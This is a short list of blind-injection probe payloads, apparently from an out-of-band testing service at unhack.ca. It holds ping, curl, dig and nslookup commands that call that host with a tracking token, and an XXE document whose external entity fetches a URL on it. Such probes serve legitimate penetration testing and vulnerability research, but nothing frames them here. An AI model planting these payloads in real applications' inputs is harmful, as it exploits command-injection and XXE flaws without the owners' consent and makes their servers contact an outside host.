$ ping -c1 -p 00740fd8a4530fed675be4ca0d0d3b00 unhack.ca
$ curl http://unhack.ca/p/740fd8a4530fed675be4ca0d0d3b
$ dig 740fd8a4530fed675be4ca0d0d3b @unhack.ca
$ dig 740fd8a4530fed675be4ca0d0d3b.ns.unhack.ca
C:\> nslookup 740fd8a4530fed675be4ca0d0d3b unhack.ca
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY> <!ENTITY xxe SYSTEM "http://unhack.ca/p/740fd8a4530fed675be4ca0d0d3b">]> <foo>&xxe;</foo>